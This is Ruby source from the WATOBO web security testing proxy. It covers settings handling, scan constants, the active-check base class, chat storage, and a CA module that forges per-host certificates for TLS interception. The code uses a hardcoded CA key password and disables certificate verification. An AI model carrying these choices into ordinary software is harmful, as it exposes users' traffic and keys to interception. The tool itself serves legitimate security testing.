YAML.load(YAML.dump(settings)) end def self.save_session(*filter, &b) #raise ArgumentError, "Need a valid Watobo::DataStore" unless data_store.respond_to? :save_project_settings s = filter_settings filter s = yield s if block_given? # puts group_name Watobo::DataStore.save_session_settings(group_name, s) end def self.save_project(*filter, &b) # raise ArgumentError, "Need a valid Watobo::DataStore" unless data_store.respond_to? :save_project_settings s = filter_settings filter s = yield s if block_given? # puts @settings.to_yaml # puts s.to_yaml Watobo::DataStore.save_project_settings(group_name, s) end def self.load_session(prefs={}, &b) p = {:update => true} p.update prefs s = Watobo::DataStore.load_session_settings(group_name) return false if s.nil? if p[:update] == true @settings.update s else @settings = s end end def self.load_project(prefs={}, &b) p = {:update => true} p.update prefs s = Watobo::DataStore.load_project_settings(group_name) return false if s.nil? if p[:update] == true @settings.update s else @settings = s end end def self.filter_settings(f) s = YAML.load(YAML.dump(@settings)) return s unless f.is_a? Array return s if f.empty? #return s unless s.respond_to? :each_key s.each_key do |k| s.delete k unless f.include? k end s end def self.save(path=nil, *filter, &b) n = self.to_file p = Conf::General.working_directory unless path.nil? if File.exist? path p = path end end file = File.join(p, n) s = filter_settings filter yield s if block_given? if File.exist?(File.dirname(file)) puts "* save config #{self} to: #{file}" puts s.to_yaml File.open(file, "w") { |fh| YAML.dump(s, fh) } else puts "Could not save file to #{File.dirname(file)}" end end def self.respond_to?(f) # puts "* respond_to?" # puts f return true if @settings.has_key? f.to_sym # puts @settings.to_yaml super end def self.dump @settings end def self.to_h @settings end #@@settings = settings def self.method_missing(name, *args, &block) # puts "* instance method missing (#{name})" if name =~ /(.*)=$/ @settings.has_key? $1.to_sym || super @settings[$1.to_sym] = args[0] else # puts @settings[name.to_sym] @settings[name.to_sym] end end end @@modules << m end end endwatobo-1.0.1/lib/watobo/constants.rb000066400000000000000000000037151366346341400174260ustar00rootroot00000000000000$debug_project = false $debug_active_check = false $debug_scanner = false # @private module Watobo#:nodoc: all module Constants CHAT_SOURCE_UNDEF = 0x00 CHAT_SOURCE_INTERCEPT = 0x01 CHAT_SOURCE_PROXY = 0x02 CHAT_SOURCE_MANUAL = 0x03 CHAT_SOURCE_FUZZER = 0x04 CHAT_SOURCE_MANUAL_SCAN = 0x05 CHAT_SOURCE_AUTO_SCAN = 0x06 CHAT_SOURCE_SEQUENCER = 0x07 FINDING_TYPE_UNDEFINED = 0x00 FINDING_TYPE_INFO = 0x03 FINDING_TYPE_HINT = 0x01 FINDING_TYPE_VULN = 0x02 VULN_RATING_UNDEFINED = 0x00 VULN_RATING_INFO = 0x01 VULN_RATING_LOW = 0x02 VULN_RATING_MEDIUM = 0x03 VULN_RATING_HIGH = 0x04 VULN_RATING_CRITICAL = 0x05 # ActiveCheck Groups AC_GROUP_GENERIC = "Generic" AC_GROUP_SQL = "SQL-Injection" AC_GROUP_XSS = "XSS" AC_GROUP_ENUMERATION = "Enumeration" AC_GROUP_FILE_INCLUSION = "File Inclusion" AC_GROUP_SSTI = "SSTI" AC_GROUP_CMD = "CMD Injection" AC_GROUP_AXIS = 'Apache AXIS' AC_GROUP_DOMINO = "Lotus Domino" AC_GROUP_SAP = "SAP" AC_GROUP_TYPO3 = "Typo3" AC_GROUP_JOOMLA = "Joomla" AC_GROUP_JBOSS = "JBoss AS" AC_GROUP_FLASH = "Flash" AC_GROUP_APACHE = "Apache" AC_GROUP_APACHE_SOLR = "Apache SOLR" ICON_PATH = "icons" FIRST_TIME_FILE = "first_time_file" # Transfer Encoding Types TE_NONE = 0x00 TE_CHUNKED = 0x01 TE_COMPRESS = 0x02 TE_GZIP = 0x04 TE_DEFLATE = 0x08 TE_IDENTITY = 0x10 # Log Level LOG_INFO = 0x00 LOG_DEBUG = 0x01 # Authentication Types AUTH_TYPE_NONE = 0x00 AUTH_TYPE_BASIC = 0x01 AUTH_TYPE_DIGEST = 0x02 AUTH_TYPE_NTLM = 0x04 AUTH_TYPE_UNKNOWN = 0x10 GUI_SMALL_FONT_SIZE = 7 GUI_REGULAR_FONT_SIZE = 9 DEFAULT_PORT_HTTP = 80 DEFAULT_PORT_HTTPS = 443 # Status Messages SCAN_STARTED = 0x00 SCAN_FINISHED = 0x01 SCAN_PAUSED = 0x02 SCAN_CANCELED = 0x04 end end watobo-1.0.1/lib/watobo/core.rb000066400000000000000000000006561366346341400163430ustar00rootroot00000000000000%w( subscriber client_cert_store sid_cache ott_cache parameter conversation chat findings chats active_checks passive_checks scope passive_scanner scanner3 finding project scanner proxy session fuzz_gen interceptor passive_check active_check cookie request response intercept_filter intercept_carver plugin forwarding_proxy cert_store netfilter_queue egress_handlers).each do |lib| require File.join( "watobo", "core", lib) end watobo-1.0.1/lib/watobo/core/000077500000000000000000000000001366346341400160075ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/core/active_check.rb000077500000000000000000000177541366346341400207650ustar00rootroot00000000000000# @private module Watobo #:nodoc: all class ActiveCheck < Watobo::Session # Base Class for Passive Checks include Watobo::CheckInfoMixin attr :info attr :numChecks # @@running_checks = 0 @@max_checks = 5 @@check_count = 0 @@pool = [] @@pool_mutex = Mutex.new @@pool_cv = ConditionVariable.new @@status = :running # :running, :paused, :canceled @@lock = Mutex.new @info = { :check_name => '', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => 'Misc', # groupname of check, will be used to group checks, e.g. :Generic, SAP, :Enumeration :description => '', # description of checkfunction :author => "not modified", # author of check :version => "unversioned", # check version :target => nil # reserved } @finding = { :title => 'untitled', # [String] title name, used for finding tree :check_pattern => nil, # [String] regex of vulnerability check if possible, will be used for highlighting :proof_pattern => nil, # [String] regex of finding proof if possible, will be used for highlighting :threat => '', # threat of vulnerability, e.g. loss of information :measure => '', # measure :class => "undefined", # [String] vulnerability class, e.g. Stored XSS, SQL-Injection, ... :subclass => nil, # reserved :type => FINDING_TYPE_UNDEFINED, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :chat => nil, # related chat must be linked :rating => VULN_RATING_UNDEFINED, # :cvss => "n/a", # CVSS Base Vector :icon => nil, # Icon Type :timestamp => nil # timestamp } def self.inherited(subclass) subclass.instance_variable_set("@info", YAML.load(YAML.dump(@info))) subclass.instance_variable_set("@finding", YAML.load(YAML.dump(@finding))) end def addFinding(request, response, details) @@lock.synchronize { t = Time.now now = t.strftime("%m/%d/%Y@%H:%M:%S") new_details = Hash.new finding_info = self.class.instance_variable_get("@finding") #puts finding_info.to_yaml new_details.update(finding_info) new_details.update(details) new_details[:tstamp] = now id_string = '' id_string << request.site.to_s id_string << request.path.to_s id_string << new_details[:test_item] if new_details[:test_item] id_string << new_details[:class] if new_details[:class] id_string << new_details[:title] if new_details[:title] if id_string == '' then id_string = (Time.now.to_i + rand(10000)).to_s end # unless new_details.has_key? :fid new_details[:fid] = Digest::MD5.hexdigest(id_string) end puts new_details[:fid] if $DEBUG new_details[:module] = self.class.to_s # new_details[:module] = Module.nesting[] new_details[:chat_id] = new_details[:chat].id new_details.delete(:chat) new_finding = Watobo::Finding.new(request, response, new_details) # puts new_finding Watobo::Findings.add new_finding # notify(:new_finding, new_finding) } end def reset() # should be overridden, if counters or status information are used!!! end def resetCounters() @numChecks = 0 @counters = Hash.new @progress = 0 reset() end def updateCounters(chat, *prefs) @settings[:excluded_parms] = prefs[:excluded_parms] if prefs.is_a? Hash and prefs[:excluded_parms] c = getCheckCount(chat) @counters[chat.id] = c @numChecks += @counters[chat.id] puts "#{chat.id} : #{c}" end def urlParmNames(chat) begin pnames = chat.request.get_parm_names # puts @settings.to_yaml if @settings.has_key? :excluded_parms @settings[:excluded_parms].each do |p| pnames.delete(p) end end rescue => bang puts "! settings 'excluded_parms' missing !" # puts @project.settings.to_yaml puts bang puts bang.backtrace if $DEBUG end return pnames end def postParmNames(chat) pnames = chat.request.post_parm_names return pnames unless @settings.has_key? :excluded_parms return pnames unless @settings[:excluded_parms].is_a? Array begin pnames.select! { |p| !@settings[:excluded_parms].include? p } rescue => bang #puts "! settings 'excluded_parms' missing !" # puts @project.settings.to_yaml puts bang puts bang.backtrace if $DEBUG end return pnames end def getCheckCount(chat) count = 0 generateChecks(chat) do |check| count += 1 if check.respond_to? :call end count end def maxChecks=(m) @@max_checks = m end def maxChecks() @@max_checks end def enabled? @enabled end def enabled=(status) @enabled = status.is_a? TrueClass|FalseClass end def enable @enabled = true end def checksRunning? begin puts @inner_pool.size return true if @inner_pool.size > 0 return false rescue => bang p bang p bang.backtrace end end def disable @enable = false end def generateChecks(chat) raise "Missing method generateChecks()!!!" end def waitLogin_UNUSED(state) @@login_in_progress = state @inner_pool_cv.signal if state == false end def continue_UNUSED() @@pool.each do |thr| # puts "Stopping #{thr}" begin thr.run if not thr.run? rescue puts "could not continue thread #{thr}" end end end def stop() # TODO: real stop/pause function cancel() end def fileExists?(request, prefs={}) begin t_request, t_response = doRequest(request, prefs) #puts t_response.status status = t_response.status return false, t_request, t_response if status.empty? #return true, t_request, t_response if status =~ /^403/ return false, t_request, t_response if status =~ /^40\d/ if status =~ /^50\d/ # puts "* ignore server errors #{Watobo::Conf::Scanner.ignore_server_errors.class}" return false, t_request, t_response if Watobo::Conf::Scanner.ignore_server_errors end #puts @settings[:custom_error_patterns] if @settings.has_key? :custom_error_patterns @settings[:custom_error_patterns].each do |pat| t_response.headers.each do |hl| return false, t_request, t_response if hl =~ /#{pat}/ end unless t_response.body.nil? return false, t_request, t_response if t_response.body.to_s =~ /#{pat}/ end end end return true, t_request, t_response rescue => bang puts bang puts bang.backtrace if $DEBUG end return false, nil, nil end def log_console(msg) puts "[#{self}] #{msg}" end def check_name info = self.class.instance_variable_get("@info") return nil if info.nil? return info[:check_name] end def initialize(session_name=nil, prefs={}) #@project = project super(session_name, prefs) @enabled = true # @status = "ready" @counters = Hash.new #TODO: change @settings to @session, if no bugs! @settings = @session # @settings = { # :custom_error_patterns => [], # :excluded_parms => [] # } @@max_checks = prefs[:max_parallel_checks] unless prefs[:max_parallel_checks].nil? @running_chats = [] @numChecks = 0 @progress = 0 @check_threads = [] @inner_pool = [] @inner_pool_mutex = Mutex.new @inner_pool_cv = ConditionVariable.new @checks_cv = ConditionVariable.new @checks_mutex = Mutex.new end end end watobo-1.0.1/lib/watobo/core/active_checks.rb000066400000000000000000000024241366346341400211310ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class ActiveModules @checks = [] def self.each(&block) if block_given? @checks.map{|c| yield c } end end def self.to_a @checks end def self.length @checks.length end def self.init @checks = [] active_path = Watobo.active_module_path Dir["#{active_path}/**"].each do |group| if File.ftype(group) == "directory" Dir["#{group}/*.rb"].each do |mod_file| begin # module_file = File.join(active_path, group, modules) mod = File.basename(mod_file) group_name = File.basename(group)# notify(:logger, LOG_DEBUG, "loading module: #{module_file}") require mod_file group_class = group_name.slice(0..0).upcase + group_name.slice(1..-1).downcase # module_class = mod.slice(0..0).upcase + mod.slice(1..-1).downcase module_class.sub!(".rb","") ac = Watobo::Modules::Active.const_get(group_class).const_get(module_class) print "." @checks << ac rescue => bang puts bang end end end end @checks end end endwatobo-1.0.1/lib/watobo/core/ca.rb000077500000000000000000000342361366346341400167320ustar00rootroot00000000000000# @private # https://stackoverflow.com/questions/30814230/dynamically-create-ssl-certs-keys-with-common-ca module Watobo #:nodoc: all module CA @cadir = File.join(Watobo.working_directory, "CA") @crl_dir= File.join(@cadir, "crl") @hostname = %x('hostname').strip @hostname = "watobo" if @hostname.empty? @domain = "#{@hostname}.watobo.local" @serial = Time.now.to_i @ca_mutex = Mutex.new def self.dh_key dh_filename = File.join(@ca_config[:CA_dir], "watobo_dh.key") unless File.exist? dh_filename #puts "* no dh key file found" File.open(dh_filename, "w") do |fh| print "* creating SSL key (DH 2048) ... " fh.write OpenSSL::PKey::DH.new(2048).to_pem print " DONE\r\n" end end OpenSSL::PKey::DH.new(File.read(dh_filename)) end def self.ca_ready? return false unless File.exist? @ca_config[:CA_dir] return false unless File.exist? @ca_config[:private_dir] return false unless File.exist? @ca_config[:fake_certs_dir] return false unless File.exist? @ca_config[:crl_dir] return false unless File.exist? @ca_config[:csr_dir] return true end # return 0 @ca_config = { :CA_dir => @cadir, # need a password here .... mmmhhhhh ..., :password => "watobo", :keypair_file => File.join(@cadir, "private/cakeypair.pem"), :cert_file => File.join(@cadir, "cacert.pem"), #:serial_file => File.join(@cadir, "serial"), :fake_certs_dir => File.join(@cadir, "fake_certs"), :new_keypair_dir => File.join(@cadir, "private/keypair_backup"), :csr_dir => File.join(@cadir, "csr"), :crl_dir => File.join(@cadir, 'crl'), :private_dir => File.join(@cadir, 'private'), #, 0700 :ca_cert_days => 5 * 365, # five years :ca_rsa_key_length => 2048, :cert_days => 365, # one year :cert_key_length_min => 2048, :cert_key_length_max => 4096, :crl_file => File.join(@crl_dir, "#{@hostname}.crl"), :crl_pem_file => File.join(@crl_dir, "#{@hostname}.pem"), :crl_days => 14, :name => [ ['C', 'DE', OpenSSL::ASN1::PRINTABLESTRING], #['O', @domain, OpenSSL::ASN1::UTF8STRING], ['O', "WATOBO", OpenSSL::ASN1::UTF8STRING], # ['OU', @hostname, OpenSSL::ASN1::UTF8STRING], ['OU', "WATOBO CA", OpenSSL::ASN1::UTF8STRING] ] } unless Watobo::CA.ca_ready? then Dir.mkdir(@ca_config[:CA_dir]) Dir.mkdir @ca_config[:private_dir] Dir.mkdir @ca_config[:fake_certs_dir] Dir.mkdir @ca_config[:crl_dir] Dir.mkdir @ca_config[:csr_dir] print "Generating CA keypair ..." if $VERBOSE #puts " - rsa_key_length: " + @ca_config[:ca_rsa_key_length].to_s keypair = OpenSSL::PKey::RSA.new(@ca_config[:ca_rsa_key_length]) # #keypair = OpenSSL::PKey::EC.new('secp256k1') #keypair.generate_key #puts keypair.class #puts "done!" #print "Create Certificate ..." cert = OpenSSL::X509::Certificate.new #puts "done!" name = @ca_config[:name].dup << ['CN', 'Watobo CA'] cert.subject = cert.issuer = OpenSSL::X509::Name.new(name) cert.not_before = Time.now - 24 * 60 * 60 cert.not_after = Time.now + @ca_config[:ca_cert_days] * 24 * 60 * 60 cert.public_key = keypair.public_key #puts '* reset new serial ' + new_serial #exit if new_serial.hex < 5 #File.open(@ca_config[:serial_file], 'w') {|f| f.print new_serial} cert.version = 2 # X509v3 # puts "Init ExtensionFactory ..." ef = OpenSSL::X509::ExtensionFactory.new ef.subject_certificate = cert ef.issuer_certificate = cert cert.extensions = [ ef.create_extension("basicConstraints", "CA:TRUE", true), # ef.create_extension("nsComment","Ruby/OpenSSL Generated Certificate"), ef.create_extension("nsComment", "Generated by WATOBO CA"), ef.create_extension("subjectKeyIdentifier", "hash"), ef.create_extension("keyUsage", "cRLSign,keyCertSign", true), ] cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always") # puts "Sign Certificate ..." cert.sign keypair, OpenSSL::Digest::SHA256.new cb = proc do @ca_config[:password] end #keypair_export = keypair.export OpenSSL::Cipher::DES.new(:EDE3, :CBC), &cb keypair_export = keypair.export OpenSSL::Cipher::DES.new(:EDE3, :CBC), &cb #puts "Writing keypair to #{@ca_config[:keypair_file]}" begin fh = File.open(@ca_config[:keypair_file], "w+") fh.puts keypair_export fh.close rescue => bang puts "! Could not write keypair" puts bang end #puts "Writing cert to #{@ca_config[:cert_file]}" File.open @ca_config[:cert_file], "w", 0644 do |f| f << cert.to_pem end puts "Done generating certificate for #{cert.subject}" puts ">> create DH key ..." dh_key else #puts "Open Cert File ..." raw = File.read @ca_config[:cert_file] # DER- or PEM-encoded cert = OpenSSL::X509::Certificate.new raw # puts cert end def self.create_cert(cert_config) @ca_mutex.synchronize { signed_cert = cert_keypair = nil # puts " ... keypair ..." cert_keypair = create_key(cert_config) # puts "... csr ..." cert_csr = create_csr(cert_config, cert_keypair) # puts "... signing ..." signed_cert = sign_cert(cert_config, cert_keypair, cert_csr) return signed_cert, cert_keypair } end ## # Creates a new RSA key from +cert_config+. def self.create_key(cert_config) #passwd_cb = nil target = cert_config[:hostname] || cert_config[:user] # puts target dest = @ca_config[:fake_certs_dir] # puts dest keypair_file = File.join(dest, (target + "_keypair.pem")) keypair_file.gsub!(/\*/, "_") #return keypair_file if File.exist? keypair_file #puts "create_key: #{keypair_file}" begin Dir.mkdir dest #, 0700 rescue Errno::EEXIST # puts "directory exists" end # if not File.exist?(keypair_file) then puts "Generating RSA keypair" if $VERBOSE keypair = OpenSSL::PKey::RSA.new 2048 # puts keypair.to_pem.class if cert_config[:password].nil? then # puts "no password for cert" # puts "Writing keypair to #{keypair_file}" if $DEBUG begin dummy = keypair.to_pem.split("\n") dummy.each do |line| line.strip! end fh = File.open(keypair_file, "wb") fh.write dummy.join("\n") fh.close rescue => bang puts "! Could not write keypair" puts bang puts bang.backtrace end else # passwd_cb = proc do cert_config[:password] end keypair_export = keypair.export OpenSSL::Cipher::DES.new(:EDE3, :CBC), cert_config[:password] # puts "Writing keypair to #{keypair_file}" if $DEBUG #File.open keypair_file, "w" do |f| # f << keypair_export #end begin fh = File.open(keypair_file, "w") fh.puts keypair_export fh.close rescue => bang puts "! Could not write keypair" puts bang puts bang.backtrace end end #end return keypair_file end ## # Signs the certificate described in +cert_config+ and # +csr_file+, saving it to +cert_file+. def self.sign_cert(cert_config, cert_file, csr_file) target = cert_config[:hostname] || cert_config[:user] dest = @ca_config[:fake_certs_dir] cert_file = File.join dest, "#{target}_cert.pem" cert_file.gsub!(/\*/, "_") #return cert_file if File.exist? cert_file csr = OpenSSL::X509::Request.new File.read(csr_file) raise "CSR sign verification failed." unless csr.verify csr.public_key if csr.public_key.n.num_bits < @ca_config[:cert_key_length_min] then raise "Key length too short" end if csr.public_key.n.num_bits > @ca_config[:cert_key_length_max] then raise "Key length too long" end if csr.subject.to_a[0, @ca_config[:name].size] != @ca_config[:name] then raise "DN does not match" end # Only checks signature here. You must verify CSR according to your # CP/CPS. # CA setup puts "Reading CA cert from #{@ca_config[:cert_file]}" if $DEBUG ca = OpenSSL::X509::Certificate.new File.read(@ca_config[:cert_file]) puts "Reading CA keypair from #{@ca_config[:keypair_file]}" if $DEBUG ca_keypair = OpenSSL::PKey::RSA.new File.read(@ca_config[:keypair_file]), @ca_config[:password] # serial_hex = File.read(@ca_config[:serial_file]).chomp # puts '* old serial ' + serial_hex # serial = serial_hex.hex #File.open(@ca_config[:serial_file], "w") do |f| # f.print new_serial #end serial = @serial + 1 @serial = serial #puts csr.methods.sort puts "Generating cert" if $DEBUG cert = OpenSSL::X509::Certificate.new from = Time.now cert.subject = csr.subject cert.issuer = ca.subject cert.not_before = from cert.not_after = from + @ca_config[:cert_days] * 24 * 60 * 60 cert.public_key = csr.public_key cert.serial = serial cert.version = 2 # X509v3 basic_constraint = nil key_usage = [] ext_key_usage = [] case cert_config[:type] when "ca" then basic_constraint = "CA:TRUE" key_usage << "cRLSign" << "keyCertSign" when "terminalsubca" then basic_constraint = "CA:TRUE,pathlen:0" key_usage << "cRLSign" << "keyCertSign" when "server" then basic_constraint = "CA:FALSE" key_usage << "digitalSignature" << "keyEncipherment" ext_key_usage << "serverAuth" when "ocsp" then basic_constraint = "CA:FALSE" key_usage << "nonRepudiation" << "digitalSignature" ext_key_usage << "serverAuth" << "OCSPSigning" when "client" then basic_constraint = "CA:FALSE" key_usage << "nonRepudiation" << "digitalSignature" << "keyEncipherment" ext_key_usage << "clientAuth" << "emailProtection" else raise "unknonw cert type \"#{cert_config[:type]}\"" end ef = OpenSSL::X509::ExtensionFactory.new ef.subject_certificate = cert ef.issuer_certificate = ca =begin ex = [] ex << ef.create_extension("basicConstraints", basic_constraint, true) ex << ef.create_extension("nsComment", "Ruby/OpenSSL Generated Certificate") ex << ef.create_extension("subjectKeyIdentifier", "hash") #ex << ef.create_extension("nsCertType", "client,email") unless key_usage.empty? then ex << ef.create_extension("keyUsage", key_usage.join(",")) end #ex << ef.create_extension("authorityKeyIdentifier", # "keyid:always,issuer:always") #ex << ef.create_extension("authorityKeyIdentifier", "keyid:always") unless ext_key_usage.empty? then ex << ef.create_extension("extendedKeyUsage", ext_key_usage.join(",")) end if @ca_config[:cdp_location] then ex << ef.create_extension("crlDistributionPoints", @ca_config[:cdp_location]) end if @ca_config[:ocsp_location] then ex << ef.create_extension("authorityInfoAccess", "OCSP;" << @ca_config[:ocsp_location]) end =end ex = [ef.create_extension("subjectAltName", "DNS: *.#{cert_config[:hostname]}, DNS: #{cert_config[:hostname]}")] cert.extensions = ex # cert.sign ca_keypair, OpenSSL::Digest::SHA1.new cert.sign ca_keypair, OpenSSL::Digest::SHA256.new # backup_cert_file = @ca_config[:backup_certs_dir] + "/cert_#{cert.serial}.pem" # puts "Writing backup cert to #{backup_cert_file}" if $DEBUG # File.open backup_cert_file, "w", 0644 do |f| # f << cert.to_pem # end # Write cert puts "Writing cert to #{cert_file}" File.open cert_file, "w", 0644 do |f| f << cert.to_pem end return cert_file end ## # Creates a new Certificate Signing Request for the keypair in # +keypair_file+, generating and saving new keypair if nil. def self.create_csr(cert_config, keypair_file = nil) keypair = nil target = cert_config[:hostname] || cert_config[:user] dest = @ca_config[:csr_dir] csr_file = File.join dest, "csr_#{target}.pem" csr_file.gsub!(/\*/, "_") name = @ca_config[:name].dup case cert_config[:type] when 'server' then # name << ['OU', 'Watobo CA'] name << ['CN', cert_config[:hostname]] #name << ['CN', "WATOBO"] when 'client' then name << ['CN', cert_config[:user]] name << ['emailAddress', cert_config[:email]] end name = OpenSSL::X509::Name.new(name) if File.exist? keypair_file then keypair = OpenSSL::PKey::RSA.new(File.read(keypair_file), cert_config[:password]) else keypair = create_key(cert_config) end req = OpenSSL::X509::Request.new req.version = 3 req.subject = name req.public_key = keypair.public_key extension = OpenSSL::X509::ExtensionFactory.new.create_extension("subjectAltName", "DNS: *.#{cert_config[:hostname]}") req.add_attribute OpenSSL::X509::Attribute.new( "extReq", OpenSSL::ASN1::Set.new( [OpenSSL::ASN1::Sequence.new([extension])] ) ) req.add_attribute OpenSSL::X509::Attribute.new( "msExtReq", OpenSSL::ASN1::Set.new( [OpenSSL::ASN1::Sequence.new([extension])] ) ) #req.sign keypair, OpenSSL::Digest::MD5.new req.sign keypair, OpenSSL::Digest::SHA256.new File.open csr_file, "w" do |f| f << req.to_pem end return csr_file end end endwatobo-1.0.1/lib/watobo/core/cert_store.rb000066400000000000000000000027061366346341400205120ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module CertStore @fake_certs = Hash.new def self.acquire_ssl_ctx(target, cn) #OpenSSL::SSL::SSLContext::DEFAULT_PARAMS[:ciphers] = 'TLSv1.2:!aNULL:!eNULL' ctx = OpenSSL::SSL::SSLContext.new() #ctx = OpenSSL::SSL::SSLContext.new(:TLSv1_2_server) #ctx.ssl_version = :TLSv1_2_server #ctx.ciphers='TLSv1.2:!aNULL:!eNull' unless @fake_certs.has_key? target cert_prefs = { :hostname => cn, :type => 'server', :user => 'watobo', :email => 'watobo@localhost', } cert_file, key_file = Watobo::CA.create_cert cert_prefs fake_cert = OpenSSL::X509::Certificate.new(File.read(cert_file)) fake_key = OpenSSL::PKey::RSA.new(File.read(key_file)) #ctx = OpenSSL::SSL::SSLContext.new('SSLv23_server') @fake_certs[target] = { :cert => fake_cert, :key => fake_key } end fc = @fake_certs[target] ctx.cert = fc[:cert] ctx.key = fc[:key] ctx.tmp_dh_callback = proc { |*args| Watobo::CA.dh_key } if ctx.respond_to? :tmp_ecdh_callback ctx.tmp_ecdh_callback = ->(*args){ called = true OpenSSL::PKey::EC.new 'prime256v1' } end ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE ctx.timeout = 10 ctx.ciphers.each do |c| puts c[0] + ' : ' + c[1] + ' : ' +c[2].to_s end return ctx end end endwatobo-1.0.1/lib/watobo/core/chat.rb000066400000000000000000000044771366346341400172670ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class Chat < Conversation attr :request attr :response attr :settings @@numChats = 0 @@max_id = 0 @@lock = Mutex.new public def self.resetCounters() @@numChats = 0 @@max_id = 0 end def tested?() return false unless @settings.has_key?(:tested) return @settings[:tested] end def tested=(truefalse) @settings[:tested] = truefalse end def tstart() @settings[:tstart] end def tstop() @settings[:tstop] end def checksum() @checksum ||= Watobo::Utils.response_checksum(@request, @response) end def duration @duration ||= (( tstop - tstart ) * 1000).round(2) end def id() @settings[:id] end def comment=(c) @settings[:comment] = c end def comment() @settings[:comment] end def use_ssl? request.proto =~ /https/ end def source() @settings[:source] end def to_h h = {} h.update @settings h[:request] = @request.to_a h[:response] = @response.to_a h end # INITIALIZE ( request, response, prefs ) # prefs: # :source - source of request/response CHAT_SOURCE # :id - an initial id, if no id is given it will be set to the @@max_id, if id == 0 counters will be ignored. # :start - starting time of request format is Time.now.to_f # :stop - time of loading response has finished # : def initialize(request, response, prefs = {}) begin @settings = { :source => CHAT_SOURCE_UNDEF, :id => -1, :tstart => 0, :tstop => -1, :comment => '', :tested => false } super(request, response) @settings.update prefs # puts @settings[:id].to_s @@lock.synchronize{ # enter critical section here ??? if @settings[:id] > @@max_id @@max_id = @settings[:id] elsif @settings[:id] < 0 @@max_id += 1 @settings[:id] = @@max_id end @@numChats += 1 # @comment = '' # leafe critical section here ??? } rescue => bang puts bang puts bang.backtrace if $DEBUG end end end endwatobo-1.0.1/lib/watobo/core/chats.rb000066400000000000000000000224441366346341400174440ustar00rootroot00000000000000# @private module Watobo #:nodoc: all class Chats @chats = [] @chats_lock = Mutex.new @event_dispatcher_listeners = Hash.new def self.subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def self.clearEvents(event) @event_dispatcher_listeners[event] ||= [] @event_dispatcher_listeners[event].clear end def self.notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def self.reset @chats = [] @event_dispatcher_listeners = Hash.new end # find_by_url def self.find_by_url(site, pattern, opts = {}, &block) o = { :method => nil, :max_count => 0, :reverse => false } o.update opts matches = [] unless o[:reverse] @chats.each do |c| if c.request.site == site then matches.push c if c.request.url.to_s =~ /#{pattern}/ yield c if block_given? end return matches if o[:max_count] > 0 and matches.length >= o[:max_count] end else @chats.reverse_each do |c| if c.request.site == site then matches.push c if c.request.url.to_s =~ /#{pattern}/ yield c if block_given? end return matches if o[:max_count] > 0 and matches.length >= o[:max_count] end end return matches end # select chats by request options def self.select(site, opts = {}, &block) o = { :dir => "", #:file => nil, :method => nil, :max_count => 0, :reverse => false } o.update opts o[:dir].strip! o[:dir].gsub!(/^\//, "") matches = [] unless o[:reverse] @chats.each do |c| if c.request.site == site then matches.push c if o[:dir] == c.request.dir yield c if block_given? end return matches if o[:max_count] > 0 and matches.length >= o[:max_count] end else @chats.reverse_each do |c| if c.request.site == site then matches.push c if o[:dir] == c.request.dir yield c if block_given? end return matches if o[:max_count] > 0 and matches.length >= o[:max_count] end end return matches end def self.sites(prefs = {}, &block) list = Hash.new cprefs = {:in_scope => false, :ssl => false } cprefs.update prefs Watobo::Chats.each do |chat| next if list.has_key?(chat.request.site) site = chat.request.site if site.nil? and $VERBOSE puts "! No Site in request:" puts " - ChatID: #{chat.id}" puts " - Chat-Request:" puts chat.request end next if site.nil? next if cprefs[:in_scope] == true and not Watobo::Scope.match_site?(site) next if cprefs[:ssl] and not chat.use_ssl? yield site if block_given? list[site] = nil end return list.keys end def self.dirs(site, list_opts = {}, &block) opts = {:base_dir => "", :include_subdirs => true } opts.update(list_opts) if list_opts.is_a? Hash list = Hash.new @chats.each do |chat| next if chat.request.site != site next if list.has_key?(chat.request.path) next if opts[:base_dir] != "" and chat.request.path !~ /^#{Regexp.quote(opts[:base_dir])}/ subdirs = chat.request.subDirs subdirs.each do |dir| next if dir.nil? next if list.has_key?(dir) list[dir] = :path if opts[:include_subdirs] == true then yield dir if block_given? else d = dir.gsub(/#{Regexp.quote(opts[:base_dir])}/, "") yield dir unless d =~ /\// and block_given? # otherwise it is a subdir of base_dir end end end end def self.get_by_id(chatid) @chats_lock.synchronize do @chats.each do |c| if c.id.to_s == chatid.to_s then return c end end end return nil end def self.get_by_response(response) @chats_lock.synchronize do @chats.each do |c| if c.response.object_id == response.object_id return c end end end return nil end def self.get_by_request(request) @chats_lock.synchronize do @chats.each do |c| if c.request.object_id == request.object_id return c end end end return nil end def self.each(&block) if block_given? @chats_lock.synchronize do @chats.map {|c| yield c} end end end def self.to_a @chats end def self.length l = 0 @chats_lock.synchronize do l = @chats.length end l end def self.in_scope(&block) scan_prefs = Watobo::Conf::Scanner.to_h #puts scan_prefs.to_yaml unique_list = Hash.new cis = [] @chats.each do |chat| next if scan_prefs[:excluded_chats].include?(chat.id) uch = chat.request.uniq_hash next if uch.nil? next if unique_list.has_key?(uch) and scan_prefs[:smart_scan] == true unique_list[uch] = nil if Watobo::Scope.match_chat? chat cis << chat yield chat if block_given? end end cis end # only returns/yields chats wich match filter # # def self.filtered(filter, &block) #puts filter.to_yaml @uniq_chats = {} filtered_chats = [] @chats.each do |chat| if match?(chat, filter) yield chat if block_given? filtered_chats << chat end end filtered_chats end def self.add(chat, prefs = {}) @chats_lock.synchronize do begin if chat.request.host then @chats << chat options = { :run_passive_checks => true, :notify => true } options.update prefs Watobo::PassiveScanner.add(chat) if options[:run_passive_checks] == true # puts "[#{self}] add" #@interface.addChat(self, chat) if @interface notify(:new, chat) if options[:notify] == true if chat.id != 0 then Watobo::DataStore.add_chat(chat) else puts "!!! Could not add chat #{chat.id}" end end # p "!P!" rescue => bang puts bang puts bang.backtrace if $DEBUG end end end def self.match?(chat, filter) begin if filter[:unique] uniq_hash = chat.request.uniq_hash return false if @uniq_chats.has_key? uniq_hash @uniq_chats[uniq_hash] = nil end #puts "scope" if filter[:scope_only] return false unless Watobo::Scope.match_site?(chat.request.site) end # puts "* passed scope" if 